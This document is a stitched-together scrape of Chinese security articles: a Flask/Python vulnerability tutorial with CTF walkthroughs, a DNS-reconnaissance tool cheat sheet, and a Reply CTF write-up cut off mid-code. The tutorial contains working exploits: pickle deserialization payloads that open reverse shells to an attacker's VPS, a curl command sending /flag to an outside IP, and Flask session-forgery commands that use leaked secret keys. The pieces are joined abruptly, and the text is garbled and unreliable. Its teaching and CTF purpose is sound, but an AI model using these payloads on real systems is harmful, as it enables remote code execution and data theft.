from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.url)
return render_template_string(template)
if __name__ == '__main__':
app.debug = True
app.run()
这就是一个十分典型的 SSTI 漏洞示例，上面这段代码中的template本可以写成如下这种格式：
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>{{url}}</h3>
</div>
但是一些偷懒的程序员却偏偏使用了 `%s`。而出现 SSTI 漏洞的原因也正是 `render_template_string()`
函数在渲染模板的时候使用了 `%s` 来动态的替换字符串，造成了数据和代码的混淆。代码中的 request.url 是用户可控的，会和 html
拼接后直接带入渲染。但是如果使用的是 `{{}}` 则不会出现该漏洞，因为，`{{}}` 在 Jinja2 中作为变量包裹标识符，Jinja2
在渲染的时候会把 `{{}}` 包裹的内容当做变量解析替换。
那我们该如何利用 SSTI 呢？由于在 Python
中，一切皆为对象，我们的主要的攻击思路便是回溯任何一个对象的父类，回溯父类的父类，最后一直到最顶层基类（`<class'object'>`）中去，再获得到此基类所有实现的子类，就可以获得到很多的类和方法了。而我们一般也就是从很多子类中找出可以利用的文件读写类和可以执行命令的类并加以利用。
具体的利用方式和 Bypass 姿势在我的另一篇文章中写的已经十分清晰了：[《以 Bypass 为中心谭谈 Flask-jinja2 SSTI
的利用》](https://xz.aliyun.com/t/9584)
## Flask Session 安全
### 客户端 Session
一般情况下，在 PHP 开发中，`$_SESSION` 变量的内容默认会被保存在服务端的一个文件中，并使用一个叫 `PHPSESSID` 的 Cookie
的值来区分不同用户的 session。由于这类 Session 的内容存储在服务端，所以这类 Session 是 “服务端 Session”，而用户在
Cookie 中看到的只是 Session 的名称（一个随机字符串）。
然而，并不是所有语言都有默认的 Session 存储机制，也不是任何情况下我们都可以向服务器写入文件。比如对于 Flask 框架，就将 Session
存储在了客户端的 Cookie 中。如下图所示便是一个 Flask Session：
可以看到这里有一个客户端 Cookie，其默认的键为 `session`，值为经过加密的 Flask Session 内容。
因为 Cookie 实际上是存储在客户端（浏览器）中的，所以这类 Session 被称为 “客户端 Session”。而将 Session 存储在客户端
Cookie 中，最重要的就是解决 Session 不能被篡改的问题。
Flask 对 Session 的处理机制的主要过程如下：
1. json.dumps 将对象转换成 json 字符串，作为数据
2. 如果数据压缩后长度更短，则用zlib库进行压缩
3. 将数据进行 Base64 编码
4. 通过 hmac 算法计算数据的签名，将签名附在数据后，并用 `.` 分割
最后经过 Flask 处理的 Session 字符串的格式为：
json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息
# 例如: eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.XzTQmw.3MN2SDWfDYfp6d3JwFziNcK2NwQ
### Flask Session 伪造
Flask 是把 Session 存在客户端的，而且只经过 Base64 编码和用密钥签名。在进行 Session 的签名时需要用到一个预先设置的全局变量
`secret_key` ，而如果此时泄露了 `secret_key` ，攻击者就可以利用泄露的 `secret_key` 伪造签名，从而伪造出攻击者想要的
Flask Session。
通常情况下获取 `secret_key` 的方法有以下几种：
* 网站某处泄露获取
* 通过 SSTI 漏洞获取，如 `/{{config}}`
* 通过 SSRF 读取存在 `secret_key` 的 Flask 配置文件或读取 /proc/self/environ 获取
* 爆破
下面我们通过一道题来讲解 Flask Session 伪造的具体利用。
**[HCTF 2018]admin**
进入题目：
查看源码发现：
暗示我们要用 admin 用户登录才能获得 flag，应该是与 Cookie 有关。我们先注册一个普通用户，登录进去后查看 Cookie：
发现 Flask Session：
.eJw9kMGKwjAURX9leGsXNWM3gguHVKnwXrCkhmQjaqtp2ihUJU7Ef58ig-tzOZd7n7A99vXVwvTW3-sRbJsKpk_42sMUxHJldbStUXki-KYjl0fi84nxC4-u8kLpoGPVEl91mpWJUWtGsmiQL6yWZTJwRp4suYH7IevalHgWjcwZRf0gXjUks1TH9YPipkNVOK3KSO5ncJsGPQbklSefBSN1Sh4jSgzEdRD8MCGWBVwWjeA4g9cIDtf-uL1d2vr8mUDOOmLUolp1QuIv8ZJpubHo5qmQ5TfJNkWFkd61J4bOdGY9e-savzvVH9Ne5aH4J-edHwAEe9n5BkZwv9b9-zgYJ_D6A6rfbpQ.YIf05Q.JSosWcpGNzrOtCqWZPupfztjIwg
我们直接使用以下脚本对其进行解密：
# decode.py
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
执行：
python3 decode.py ".eJw9kMGKwjAURX9leGsXNWM3gguHVKnwXrCkhmQjaqtp2ihUJU7Ef58ig-tzOZd7n7A99vXVwvTW3-sRbJsKpk_42sMUxHJldbStUXki-KYjl0fi84nxC4-u8kLpoGPVEl91mpWJUWtGsmiQL6yWZTJwRp4suYH7IevalHgWjcwZRf0gXjUks1TH9YPipkNVOK3KSO5ncJsGPQbklSefBSN1Sh4jSgzEdRD8MCGWBVwWjeA4g9cIDtf-uL1d2vr8mUDOOmLUolp1QuIv8ZJpubHo5qmQ5TfJNkWFkd61J4bOdGY9e-savzvVH9Ne5aH4J-edHwAEe9n5BkZwv9b9-zgYJ_D6A6rfbpQ.YIf05Q.JSosWcpGNzrOtCqWZPupfztjIwg"
如上图可以看到，解密出来的 Session 中有一个键是 `name`，用来表示当前用户，那我们接下来的思路就是找到 `secret_key` 来伪造
Flask Session 了，即将 `name` 改为 admin。
在修改密码处查看源码，发现源码泄露了：
我们在源码的 config.py 中找到了 `secret_key` 为 “ckj123”：
有了 `secret_key` 之后，我们便可以开始伪造 Session 了。这里我们用到了github上的一个脚本 [flask-session-cookie-manager](https://github.com/noraj/flask-session-cookie-manager)：
python3 flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'8bac8deb485e623408faf27f9f0c7d42ece4ed654b01aa549f66ca62ebf0b99413e2676147b519c4175e1dcae360f9fb2c007f6a0e696c31304608787a00db83', 'csrf_token': b'68c7cd1be932456a5a2099575991c35e368626ee', 'image': b'mb0E', 'name': 'admin', 'user_id': '10'}"
使用伪造得到的 Session 替换原来的 Session，刷新后即可得到flag：
### Flask Session 导致敏感信息泄露
经过前文的描述，你应该大致了解了 Flask Session 这个东西，你可以看到它里面存储了一些与用户认证有关的某些信息。有时候即便我们不能得到
`secret_key` 伪造 Flask Session，但我们也可以直接对 Flask Session 解密得到很多敏感信息。
## Python 反序列化漏洞
Python
中的pickle或cPickle库可以实现数据的序列化和反序列化操作（二者操作是一样的，只是cPickle提供了一个更快速简单的接口，这里以pickle为例），作用和PHP的serialize与unserialize类似，只不过一个是纯Python实现、另一个是C实现，函数调用基本相同，但cPickle库的性能更好，因此这里选用cPickle库作为示例。
pickle或cPickle库可以对任意一种类型的Python对象进行序列化操作。下面是主要的四个方法函数，我们按照他们实现的功能进行讲解。
### 序列化
* **dumps() 函数**
dumps(obj, protocol=None, *, fix_imports=True)
将指定的Python对象(比如列表、字典、元组、字符串、布尔值，甚至是一个类的对象等)通过pickle序列化作为bytes对象返回，而不是将其写入文件。如下实例。
Python 2.x环境下
import pickle
test = {'a':'str', 'c': True, 'e': 10, 'b': 11.1, 'd': None, 'f': [1, 2, 3], 'g':(4, 5, 6)}
result = pickle.dumps(test)
print result
"""
输出:
(dp0
S'a'
p1
S'str'
p2
sS'c'
p3
I01
sS'b'
p4
F11.1
sS'e'
p5
I10
sS'd'
p6
NsS'g'
p7
(I4
I5
I6
tp8
sS'f'
p9
(lp10
I1
aI2
aI3
as.
Python 3.x环境下
import pickle
test = {'a':'str', 'c': True, 'e': 10, 'b': 11.1, 'd': None, 'f': [1, 2, 3], 'g':(4, 5, 6)}
result = pickle.dumps(test)
print(result)
# 输出: b'\x80\x04\x95F\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x01a\x94\x8c\x03str\x94\x8c\x01c\x94\x88\x8c\x01e\x94K\n\x8c\x01b\x94G@&333333\x8c\x01d\x94N\x8c\x01f\x94]\x94(K\x01K\x02K\x03e\x8c\x01g\x94K\x04K\x05K\x06\x87\x94u.'
可见，在默认情况下Python 2.x中pickled后的数据是 **字符串** 的形式，Python 3.x中pickled后的数据是 **字节对象**
的形式。
* **dump()函数**
dump(obj, file, protocol=None, *, fix_imports=True)
将指定的Python对象通过pickle序列化后写入打开的文件对象中，等价于Pickler(file, protocol).dump(obj)。
### 反序列化
* loads()函数
loads(bytes_object, *, fix_imports=True, encoding="ASCII", errors="strict")
将通过pickle序列化后得到的字节对象进行反序列化，转换为Python对象并返回。如下示例。
Python 2.x环境下
import pickle
test = {'a':'str', 'c': True, 'e': 10, 'b': 11.1, 'd': None, 'f': [1, 2, 3], 'g':(4, 5, 6)}
result = pickle.loads(pickle.dumps(test))
print result
# 输出: {'a': 'str', 'c': True, 'b': 11.1, 'e': 10, 'd': None, 'g': (4, 5, 6), 'f': [1, 2, 3]}
Python 3.x环境下
import pickle
test = {'a':'str', 'c': True, 'e': 10, 'b': 11.1, 'd': None, 'f': [1, 2, 3], 'g':(4, 5, 6)}
result = pickle.loads(pickle.dumps(test))
print(result)
# 输出: {'a': 'str', 'c': True, 'e': 10, 'b': 11.1, 'd': None, 'f': [1, 2, 3], 'g': (4, 5, 6)}
* load()函数
load(file, *, fix_imports=True, encoding="ASCII", errors="strict")
从打开的文件对象中读取pickled对象表现形式并返回通过pickle反序列化后得到的Python对象。
> 注意：默认情况下Python 2.x中pickled后的数据是 **字符串形式** ，需要将它转换为字节对象才能被Python
> 3.x中的pickle.loads()反序列化；Python
> 3.x中pickling所使用的协议是v3，因此需要在调用pickle.dumps()时指定可选参数protocol为Python
> 2.x所支持的协议版本（0,1,2），否则pickled后的数据不能被被Python 2.x中的pickle.loads()反序列化；Python
> 3.x中
>
> pickle.dump()和pickle.load()方法中指定的文件对象，必须以 **二进制模式** 打开，而Python
> 2.x中可以以二进制模式打开，也可以以文本的模式打开。
### 自定义数据类型的序列化/反序列化
首先来自定义一个数据类型：
class Student(object):
def __init__(self, name, age, sno):
self.name = name
self.age = age
self.sno = sno
def __repr__(self):
return 'Student [name: %s, age: %d, sno: %d]' % (self.name, self.age, self.sno)
pickle模块可以直接对自定数据类型进行序列化/反序列化操作，无需编写额外的处理函数或类，与PHP的serialize/unserialize函数一样：
>>> stu = Student('Tom', 19, 1)
>>> print(stu)
Student [name: Tom, age: 19, sno: 1]
# 序列化
>>> var_b = pickle.dumps(stu)
>>> var_b
b'\x80\x03c__main__\nStudent\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x03\x00\x00\x00Tomq\x04X\x03\x00\x00\x00ageq\x05K\x13X\x03\x00\x00\x00snoq\x06K\x01ub.'
# 反序列化
>>> var_c = pickle.loads(var_b)
>>> var_c
Student [name: Tom, age: 19, sno: 1]
# 持久化到文件
>>> with open('pickle.txt', 'wb') as f:
pickle.dump(stu, f)
...
# 从文件总读取数据
>>> with open('pickle.txt', 'rb') as f:
pickle.load(f)
...
Student [name: Tom, age: 19, sno: 1]
### 反序列化漏洞
python反序列化漏洞的本质在于序列化对象的时候，类中自动执行的函数（如 `__reduce__`）也被序列化，而且在反序列化时候该函数会直接被执行。
漏洞产生的原因在于pickle可以将自定义的类进行序列化和反序列化。反序列化后产生的对象会在结束时触发`__reduce__`方法从而触发恶意代码，类似与PHP中的`__wakeup__`，在反序列化的时候会自动调用。
**简单说明一下`__reduce__` 方法：**
当定义扩展类型时（也就是使用Python的C语言API实现的类型），如果你想pickle它们，你必须告诉Python如何pickle它们。`__reduce__()`
是一个二元操作函数，第一个参数是函数名，第二个参数是第一个函数的参数数据结构。`__reduce__`
方法被定义后，当对象被反序列化时就会被自动调用。它要么返回一个代表全局名称的字符串，要么返回一个元组，这个元组包含2到5个元素，主要用到前两个参数，即一个可调用的对象，用于重建对象时被调用，一个参数元素（也是元组形式），供那个可调用对象使用。
举个例子就清楚了：
import pickle
import os
class Exp(object):
def __reduce__(self):
# 导入os模块执行命令
return(os.system,('ls',))
# return(os.system,('ls',))
# return(eval,("os.system('ls')",))
# return(map,(os.system, ('ls',)))
# return(eval,("__import__('os').system('ls')",))
a = Exp()
test = pickle.dumps(a)
pickle.loads(test)
如上图，可以看到成功执行了ls命令。
> **这里注意，在python2中只有内置类才有`__reduce__` 方法，即用`class
> A(object)`声明的类，而python3中已经默认都是内置类了。**
当然我们还可以反弹shell：
import pickle
import os
class Exp(object):
def __reduce__(self):
shell = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return(os.system,(shell,))
a=Exp()
result = pickle.dumps(a)
pickle.loads(result)
`pickle.loads()` 是会自动解决 import 问题的，对于未引入的 `module` 会自动尝试
`import`。那么也就是说整个python标准库的代码执行、命令执行函数我们都可以使用：
eval, execfile, compile, open, file, map, input,
os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,
os.listdir, os.access,
os.execl, os.execle, os.execlp, os.execlpe, os.execv,
os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,
os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,
pickle.load, pickle.loads,cPickle.load,cPickle.loads,
subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,
commands.getstatusoutput,commands.getoutput,commands.getstatus,
glob.glob,
linecache.getline,
shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,
dircache.listdir,dircache.opendir,
io.open,
popen2.popen2,popen2.popen3,popen2.popen4,
timeit.timeit,timeit.repeat,
sys.call_tracing,
code.interact,code.compile_command,codeop.compile_command,
pty.spawn,
posixfile.open,posixfile.fileopen,
platform.popen
**实战演示**
Web端源码：
import pickle
import base64
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
username = user["username"]
except:
username = "Guest"
return "Hello %s" % username
if __name__ == "__main__":
app.run()
当访问 <http://your-ip:5000> 时，显示Hello
{username}。username是取Cookie中的变量user，对其进行base64解码并进行反序列化后还原的对象中的“username”变量，默认为“Guest”。
此处便存在 Python
反序列化漏洞。因为user变量在cookie中，而cookie又是可控的，所以我们可以在cookie中给user变量写入payload，当后面对user进行反序列化时便会触发payload。
编写POC：
#!/usr/bin/env python3
import pickle
import os
import base64
class exp(object):
def __reduce__(self):
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的VPS_ip地址",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
return os.system, (s,)
poc = exp()
s = pickle.dumps(poc) # s为payload，将其传送到目标题目的cookie中
s = base64.b64encode(s).decode()
print(s)
得到payload：
gASVAQEAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjOZweXRob24gLWMgJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcztzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKCI0Ny4xMDEuNTcuNzIiLDIzMzMpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9iYXNoIiwiLWkiXSk7J5SFlFKULg==
将cookie改为上面的payload即可触发 Python 反序列化并成功反弹Shell。
给出一个完整的利用脚本Exp：
#!/usr/bin/env python3
import requests
import pickle
import os
import base64
class exp(object):
def __reduce__(self):
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的VPS_ip地址",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
return os.system, (s,)
poc = exp()
s = pickle.dumps(poc) # s为payload，将其传送到目标题目的cookie中
response = requests.get("http://your-ip:5000/", cookies=dict(
user=base64.b64encode(s).decode()
))
print response.content
执行后Exp脚本后，成功反弹shell。
这就是一个典型的 Python 反序列化题目。[[watevrCTF-2019]Pickle
Store](https://www.cnblogs.com/h3zh1/p/12698897.html) 这道题就是这样的一道题。
**[watevrCTF-2019]Pickle Store**
进入题目，是一个可以购买flag的页面：
但是我们的钱不够，一般这种题就是让你在cookie处入手：
将cookie进行base64解密，发现乱码：
虽然有乱码，但是发现还是挺像点什么的。再观察题目中的“Pickle”，联想到Python反序列化。这cookie可能就是先经过Pickle序列化然后再进行base64加密的数据。
我们编写如下脚本，将原始的cookie数据给反序列化出来：
import pickle
import base64
result = pickle.loads(base64.b64decode(b'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu'))
print(result)
得到：
{'money': 500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}
看来确实是我们所猜测的。
那我们便可以将我们pickle反序列化的payload进行base64加密，然后放入到cookie中，当服务器再获取我们cookie并进行反序列化时，便会触发payload。
编写如下POC进行反弹shell：
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval,("__import__('os').system('bash -c \"bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1\"')",))
poc = A()
result = pickle.dumps(poc)
result = base64.b64encode(result)
print(result)
得到payload：
gASVawAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxPX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2Jhc2ggLWMgImJhc2ggLWkgPiYgL2Rldi90Y3AvNDcuMTAxLjU3LjcyLzIzMzMgMD4mMSInKZSFlFKULg==
将其设置为cookie的值，然后点击Buy：
此时，攻击机上边收到了目标主机的shell并得到flag：
**[HFCTF 2021 Final]easyflask**
进入题目，存在 SSRF，可以读取文件：
存在 Flask Session，解密得到：
访问 `/file?file=/app/source` 泄露得到源码：
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})
@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"
@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'
with open(path, 'r') as fp:
content = fp.read()
return content
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u') # 获取 Flask Session 中 u 这个键的值
if isinstance(u, dict):
u = b64decode(u.get('b')) #获取 u 中 b 这个键的值
u = pickle.loads(u) # 对 b 这个键的值进行反序列化, 存在 pickle 反序列化漏洞
except Exception:
return 'uhh?'
if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'
if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)
代码的逻辑很明朗了，/admin 路由存在反序列化漏洞，可以获取 Flask Session 中的某个键的值进行 pickle
反序列化，由于这里被反序列化的值是可控的，所以存在 pickle 反序列化漏洞。但是要利用 pickle 反序列化漏洞我们还需要先获取
`secret_key` 来伪造 Session。
这里我们直接通过那个 SSRF 读取 /proc 目录里的环境变量，在环境变量里面找到了 `secret_key` ：
有了 `secret_key` 之后，我们开始构造 pickle 反序列化执行命令的 POC：
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval,("__import__('os').system('curl 47.101.57.72:2333 -d \"`cat /flag`\"')",))
poc = A()
result = pickle.dumps(poc)
result = base64.b64encode(result)
print(result)
# 生成 Poc: Y19fYnVpbHRpbl9fCmV2YWwKcDAKKFMnX19pbXBvcnRfXyhcJ29zXCcpLnN5c3RlbShcJ2N1cmwgNDcuMTAxLjU3LjcyOjIzMzMgLWQgImBjYXQgL2ZsYWdgIlwnKScKcDEKdHAyClJwMwou
然后使用 `secret_key` 伪造 Session：
python3 flask_session_cookie_manager3.py encode -t "{\"u\":{\"b\":\"Y19fYnVpbHRpbl9fCmV2YWwKcDAKKFMnX19pbXBvcnRfXyhcJ29zXCcpLnN5c3RlbShcJ2N1cmwgNDcuMTAxLjU3LjcyOjIzMzMgLWQgImBjYXQgL2ZsYWdgIlwnKScKcDEKdHAyClJwMwou\"}}" -s "glzjin22948575858jfjfjufirijidjitg3uiiuuh"
用生成的 Session 替换原来的 Session，然后访问 /admin 路由即可在 VPS 上面接收到flag：
## Python 格式化字符串漏洞
在C语言里有一类特别有趣的漏洞，叫做格式化字符串漏洞，其危害性不仅可以破坏内存，还可以读写任意地址内容。而在Python中也有格式化字符串的方法，然而当我们使用的方式不正确的时候，即格式化的字符串能够被我们控制时，就会导致一些严重的问题，比如获取敏感信息等。主要有以下几种：
* **百分号形式进行格式化字符串**
>>> "My name is %s" % ('whoami', )
"My name is whoami"
>>> "My name is %(name)%" % {'name':'whoami'}
"My name is whoami"
* **使用format进行格式化字符串**
>>> "My name is {}".format('whoami')
"My name is whoami"
>>> "My name is {name}".format(name='whoami')
"My name is whoami"
* **使用标准库中的模板字符串**
string.Template()：在python中Template可以将字符串的格式固定下来，重复利用。
>>> from string import Template
>>> username = 'whoami'
>>> s = Template('My name is $name')
>>> s.substitute(name=username)
'My name is Hu3sky'
但因为我们控制了格式化字符串的一部分，将会导致一些意料之外的问题，导致一些敏感信息被泄露，如下实例：
>>> 'Hello {name}'.format(name=user.__class__.__init__.__globals__)
"Hello {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'config': {'SECRET_KEY': 'f0ma7_t3st'}, 'User': <class '__main__.User'>, 'user': <__main__.User object at 0x03242EF0>}"
可以看到，当我们的 `name=user.__class__.__init__.__globals__` 时，就可以将很多敏感的东西给打印出来。可以看到
Python 格式化字符串漏洞与 SSTI 有类似之处。
### 2018百越杯Easy flask
打开题目，有注册和登陆接口，先随便注册一个账号并登录：
提示我们应该用admin用户登录，我们观察 url 处的 views?id=6，于是我们修改id，发现可以遍历用户，在id=5时是admin的信息：
并且，在用户页面还存在着一个“edit secert”功能：
通过www-zip下载到源码：
查看auth.py的代码：
...//省略
@bp_auth.route('/flag')
@login_check
def get_flag():
if(g.user.username=="admin"):
with open(os.path.dirname(__file__)+'/flag','rb') as f:
flag = f.read()
return flag
return "Not admin!!"
...//省略
从auth可以看到，当用户是admin的时候才可以访问/flag得到flag。
在查看secert.py的代码：
...//省略
bp_secert = Blueprint('secert', __name__, url_prefix='/')
@bp_secert.route('/views',methods = ['GET','POST'])
@login_check
def views_info():
view_id = request.args.get('id')
if not view_id:
view_id = session.get('user_id')
user_m = user.query.filter_by(id=view_id).first() # 获取用户信息
if user_m is None:
flash(u"该用户未注册")
return render_template('secert/views.html')
if str(session.get('user_id'))==str(view_id):
secert_m = secert.query.filter_by(id=view_id).first() # 获取secert信息
secert_t = u"<p>{secert.secert}<p>".format(secert = secert_m) // 第一处format
else:
secert_t = u"<p>***************************************<p>"
name = u"<h1>name:{user_m.username}<h1>"
email = u"<h2>email:{user_m.email}<h2>"
info = (name+email+secert_t).format(user_m=user_m) // 第二处format
return render_template('secert/views.html',info = info)
@bp_secert.route('/edit',methods = ['GET','POST'])
@login_check
def edit_secert():
if request.method=='POST':
secert_new = request.form.get('secert')
error = None
if not secert_new:
error = u'请输入你的秘密'
if error is None:
secert.query.filter_by(id = session.get('user_id')).update({'secert':secert_new})
db.session.commit()
return redirect(url_for('secert.views_info'))
flash(error)
return render_template('secert/edit.html')
在已登录的用户里发现了flask session，如图：
将其解密得到：
现在思路很明确了，我们通过flask
session伪造成admin用户，然后访问/flag即可得到flag，那么现在就要想办法拿到SECRET_KEY这样才能伪造session。
在secret.py，存在两处format，第一处的secret是我们可控的，就是edit
secert，于是测试当我提交`{user_m.password}`时，
出现了sha256加密的密码，所以，我们可以通过这个漏洞点去读SECRET_KEY。我们可以看到，在 secert.py 的开头导入了
current_app，于是可以通过获取 current_app 来获取 SECRET_KEY：
{user_m.__class__.__mro__[1].__class__.__mro__[0].__init__.__globals__[SQLAlchemy].__init__.__globals__[current_app].config}
或
{user_m.__class__.__base__.__class__.__init__.__globals__[current_app].config}
获取到的SECRET_KEY为“test”，然后，我们就可以伪造admin的session了：
然后将session换为admin的session即可登录admin用户：
最后访问/flag路由即可得到flag。
在一般的CTF中，通常格式化字符串漏洞会和session机制的问题，SSTI等一起出现。一般来说，在审计源码的过程中，看到了使用format，且可控，那基本上就可以认为是format格式化字符串漏洞了。
**未完待续……** | 社区文章 |
## 0x00. dnsenum简介
### dnsenum
是一款非常强大的域名信息收集工具。它的目的是尽可能多的收集一个域的信息，能够通过谷歌或者字典文件猜测可能存在的域名，以及对一个网段进行反向查询。它可以查询网站的主机地址信息、域名服务器、mx
record（邮件交换记录），在域名服务器上执行axfr请求，通过谷歌脚本得到扩展域名信息（google
hacking），提取自域名并查询，计算C类地址并执行whois查询，执行反向查询，把地址段写入文件等。
### 语法基础：
### dnsenum sina.com.cn
### dnsenum sina.com.cn -f /usr/share/dnsenum/dns.txt
> 指定字典爆破子域
>
> ### dnsenum sina.com.cn --enum
### 参数：
### \--dnsserver 8.8.8.8 指定DNS server
### \--enum 指定线程5，使用谷歌查询，进行whois查询
### \--noreverse 跳过反向域名查询
### \--threads 指定线程
### -f dns.txt 指定域名爆破字典
### -w 进行whois查询
### -o report.xml 输出XML格式的文件
* * *
* * *
## 0x01. dnsrecon简介
### dns是最主要的服务暴露信息来源，我们可以根据dns域名收集以下信息：
### \- 发现开放端口的主机
### \- 发现子域及开放端口
### \- DNS域名注册信息
### \- DNS服务器区域传输
* * *
### 语法基础：
### dnsrecon -d sina.com.cn
> 基本的SOA、NS、A、AAAA、MX、SRV查询
>
> ### dnsrecon -r 60.28.2.0/24
>
> 反向PTR查询域名
>
> ### dnsrecon -a -d sina.com.cn
>
> 标准加axfr区域传输
>
> ### dnsrecon -w -d sina.com.cn
>
> 标准加whois查询
>
> ### dnsrecon -g -d sina.com.cn
>
> 标准加google
>
> ### dnsrecon -D dictionary.txt sina.com.cn
>
> 字典爆破主机和子域名
>
> ### dnsrecon -z -d weberdns.de
>
> 当域启动DNSSEC，对于缺乏防护的DNS服务器，可以利用NSEC记录获取区域内全部记录，无需爆破
### 参数：
### -t brt 使用内建字典
### -t std 默认的标准查询
### -t srv 只查srv记录（AD、voip电话）
### -t axfr 标准加axfr记录（-a）
### -t tld 删除并尝试所有顶级域名(IANA)
### \--threads 指定线程数
* * *
## 0x02. dnswalk 简介
### 基础语法：
### dnswalk -radmilF sina.com.cn
### 参数：
### -r #对指定域名的子域进行递归查询
### -a #发现重复的A记录发出告警
### -d #将调试状态信息输出到stderr
### -m #仅检查上次运行后发生变化的记录
### -F #检查PTR记录IP是否与对应A记录相符
### -i #不检查域名中的无效字符
### -l #检查区域文件中NS记录主机是否能返回正确的应答
* * *
## 0x03. dnstracer 简介
### dnstracer 是用于追踪DNF查询请求的，可以从根域->目标域一步一步迭代查看查询请求。
### 基础语法：
### dnstracer -co4 -s . www.baidu.com
### 参数：
### -c #不使用本地缓存
### -o #只显示查询简介
### -4 #不进行IPv6查询
### -s . #指定初始查询的服务器是根域 | 社区文章 |
# 2018 Reply CTF
# TAEM:Vasif
# [ctfwebsite](https://challenges.reply.com/tamtamy/challenge/7/detail)
> 十一假期末尾,跟队友打了比赛, 最终第十名,目前该比赛仍然可以访问,
> 由于是国际比赛，所以我们的首发wp为英文版，中文版正在路上～,欢迎各位大佬交流学习.
## WEB
#### WEB 100
First, I see the parameter prompt in the HTML source code. After adding the
parameter, the image of the page will change every time. The image name is the
base64 encoded fragment, and then I request multiple times to get all the
fragments. Finally, splic the fragments and decoded to get the flag.
#### WEB 200
var arr = [
'replace',
'fromCharCode',
'TYS{',
'leg',
'...',
'ttt',
'concat',
'_o0',
'_00',
'split',
'length',
'toLowerCase',
'join',
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789',
'charAt',
'floor',
'random',
'set',
'E84AFAAB83ECB301B3D97CE4174D2773'
];
(
function(arra, offset) {
var trans = function(times) {
while (--times) {
arra['push'](arra['shift']());
}
};
trans(++offset);
} (arr, 0x10f)
);
var getItem = function(_0x361113, _0x259f22) {
_0x361113 = _0x361113 - 0x0; // convert to integer
var _0x7ee5c4 = arr[_0x361113];
return _0x7ee5c4;
};
var Reflection = {
'_0o': function() {
/*
Reflection['_0o']()
"gfsasa3erp0z3fgusadaf3s3q0x2ghj3heda2 ads z lnm vsq azz sxxed"
*/
